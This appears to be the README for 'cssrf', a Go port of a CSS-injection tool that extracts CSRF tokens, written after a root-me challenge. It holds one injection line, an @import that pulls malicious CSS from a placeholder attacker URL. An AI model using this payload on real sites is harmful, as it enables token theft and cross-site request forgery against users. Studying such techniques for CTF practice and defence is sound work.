cssrf

Extract juicy information using CSS injection
especially csrf token 🥜


Basically the same thing as https://github.com/d0nutptr/sic but in Golang

I try my best to change the rust code but I lost so many time

Show me!

All you need is launch cssrf:

cssrf [flags] # nothing crazy => cssrf -h to get flags info

Inject the malicious css:

<!-- in <style> tag -->
@import url("https://[ATTACKER_URL]/malicious.css");

And wait:

This help me solving a root-me challenge

^{Posting solution is forbidden, thus the csrf token is not integer}